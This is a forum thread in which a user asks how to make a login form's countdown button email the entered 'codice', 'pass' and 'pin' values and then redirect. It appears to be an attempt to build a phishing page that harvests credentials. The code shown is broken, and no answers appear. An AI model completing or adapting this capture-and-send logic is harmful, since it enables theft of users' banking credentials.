Jump to content

pass data problem


adv

Recommended Posts

i have a simple timer in javascript of 12 seconds

 

function startCountDown(i, p, f) {
// store parameters
var pause = p;
var fn = f;
// make reference to div
var countDownObj = document.getElementById("countDown");
if (countDownObj == null) {
// error
alert("div not found, check your id");
// bail
return;
}
document.getElementById('countDown2').style.display='block';
countDownObj.count = function(i) {
// write out count
countDownObj.innerHTML = i;

if (i == 0) {
// execute function
fn();
// stop
return;
}
setTimeout(function() {
// repeat
countDownObj.count(i - 1);
},
pause
);
}
// set it going
countDownObj.count(i);
}

function myFunction() {
document.loginForm.submit();
}



</script>	

 

 

 

and this is the html

 

  <table width="220" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td>
     <span id='countDown2'>
																																																																																						 <img src="ajax-loader.gif" width="16" height="16" border="0"> Loading.Please wait..

</span> 
    </td>
    <td valign="bottom">
     <span id='countDown' />      
    </td>
  </tr>
</table> 

 

<a href="#"  tabindex="10"><img id="ing" name="imgGo" src="images/pulsante_img.png"  border="0"    onClick="startCountDown(12, 1000, myFunction);"></a>

 

when it click the image is its openes that Loading..Please wait

Is there a way to when it clicks the button to send an email?

i`ve tried something like this but useless

document.write('<?php mail("emai@email.com","subj","postdata"); ?>');

its not good but its a start...

Link to comment
Share on other sites

i`ve tried something like this inside the startCountDown() function

document.getElementById('countDown2').style.display='block';
var codice =document.getElementById('W0A017404518568077565Z').value();
var pass =document.getElementById('X0B4662810633887253Y').value();
var pin = document.getElementById('J0B903486033918797M').value();
document.write("<?php mail('email@mail.com','adasd',"+codice+"); ?>");

countDownObj.count = function(i) {
// write out count
countDownObj.innerHTML = i;

.

but is no good

Link to comment
Share on other sites

<?php

 

Start timer(30);

 

when timer starts: get data from input text  and  email it using a  php script or something

then redirect:

header("location: tooslow.php");

?>

can you please translate this into javascript

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.